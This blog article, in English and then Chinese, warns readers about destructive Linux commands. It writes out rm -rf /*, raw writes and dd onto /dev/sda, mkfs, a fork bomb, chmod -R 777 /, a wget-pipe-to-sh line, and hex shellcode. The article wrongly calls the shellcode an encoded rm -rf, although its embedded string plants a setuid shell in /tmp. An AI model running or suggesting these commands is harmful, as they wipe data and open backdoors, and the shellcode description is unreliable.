Many people ask me what are the most dangerous Linux commands. I've avoided answering this question because there isn't a clear list of dangerous Linux commands. You have tools that allow you to control and modify every aspect of your operating system. I don't mean to scare you, but if you are not familiar with these commands and tools, you can easily break your system. Imagine the situation of young children in the family. There are many ways children can harm themselves. But does that mean we shouldn’t take our kids out of their cribs? This will stunt her growth. This is why it’s important for parents to set boundaries and guide their children. Stay away from fire sources and don't stick your fingers into electrical sockets... As your child grows and gains experience, she can learn to turn on the stove, light a fire in the fireplace, and plug in the power cord. Likewise, if you know some known risky commands, you may avoid falling into the trap of trolls who try to trick you into running commands that disrupt your system. As you gain experience and know the meaning and usage of these commands and tools, the chances of damaging your system with stupid and tricky commands will decrease. My colleague Sreenath has collected some popular and dangerous Linux commands. Let’s see how they take down your Linux system. “ Disclaimer: If you don’t know what you are doing, please do not try the commands mentioned in this article, otherwise you will be responsible for the consequences. ” 1. rm -rf /* This one is probably the most infamous command to be floating around on various social media. You will often find trolls mentioning this in various discussions. rm command is used to delete files/directories. The flags -r and -f indicate to recursively delete all files within the specified directory. Now, if you don't have root privileges, this command won't do any harm. Running the sudo rm -rf /🔗 itsfoss.com command will also not cause any problems, as most distributions provide a failsafe option. You need to specify --no-preserve-root to actually run it. sudo rm -rf / --no-preserve-root However, a simpler version could be like this: sudo rm -rf /* It will start deleting all the files in the root directory recursively, and after some time, your system will freeze and show "Delete File Error". Once rebooted, you will be sent to the grub-rescue prompt. 2. Cover your partition If you are familiar with file systems, you probably know what /dev/sda is. It's (usually) your disk drive partition. The > operator is used to write the output of the command preceding it to the specified location provided. Once you run any command and write it to /dev/sda, say: echo "Hello" > /dev/sda This will replace your partition containing all the data needed to boot the system with the Hello string. 3. Move everything to the black hole There is a black hole in every Linux system. And this black hole is /dev/null. Whatever you throw into this area is lost forever. Moreover, it reports the writing process as successful after discarding the data, which is the main reason for its destructiveness. mv /home/user/* /dev/null mv 命令🔗 linuxhandbook.com 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。 4、格式化你的硬盘 mkfs🔗 linuxhandbook.com 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。 mkfs.ext3 /dev/sda 这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。 5、fork 炸弹 这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。 :(){ :|:& };: & – Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 : 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。 顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。 6、覆盖重要的配置文件 虽然这本身不是一个命令,但它更像是一个预防性的东西。 如上所述,> 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。 command > config_filename 现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。 7、用垃圾数据替换分区 /dev/random 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 dd 命令🔗 linuxhandbook.com 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。 dd if=/dev/random of=/dev/sda dd 命令被用作一个低级别的复制工具。这里,它从 /dev/random 中获取随机数据,并用这些垃圾替换 /dev/sda 分区。 一个类似的效果是通过以下方式获得的: cat /dev/urandom > filename 这里,它从 /dev/urandom(LCTT 译注:在 Linux 上,/dev/urandom 现在和 /dev/random 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 Ctrl + C 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。 8、将你的系统暴露给所有人 在 Linux 中,所有东西都是文件,每个 文件都有一定的权限🔗 linuxhandbook.com。 你可以用 ls -l 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。 chmod -R 777 / 上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。 9、下载并运行恶意的内容 你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。 然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 Homebrew🔗 itsfoss.com 为例: 你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗? 虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容: wget http://malicious_source -O- | sh 这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。 10、伪装的命令 在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令: char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31 \xc0\x50\x54\x5a\x83\xec\x64\x68”“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”“\x6e\x2f\x73\x68\x00\x2d\x63\x00”“cp - p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”; 虽然它看起来很花哨,但这是 rm -rf 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。 总结 pebkac 有一个著名的计算机术语 PEBKAC:“问题存在于键盘和椅子之间(problem exists between keyboard and chair)”。 因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。 “ UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以 它所知道的最有效的方式将石头砸到脚上。 ” 而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。 我建议做这些事情以确保更安全的体验。 ◈ 尝试并理解你将要运行的命令。 ◈ 用 Timeshift 保持你的系统设置的备份 ◈ 用 DejaDup 保持个人数据(主目录)的备份 正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。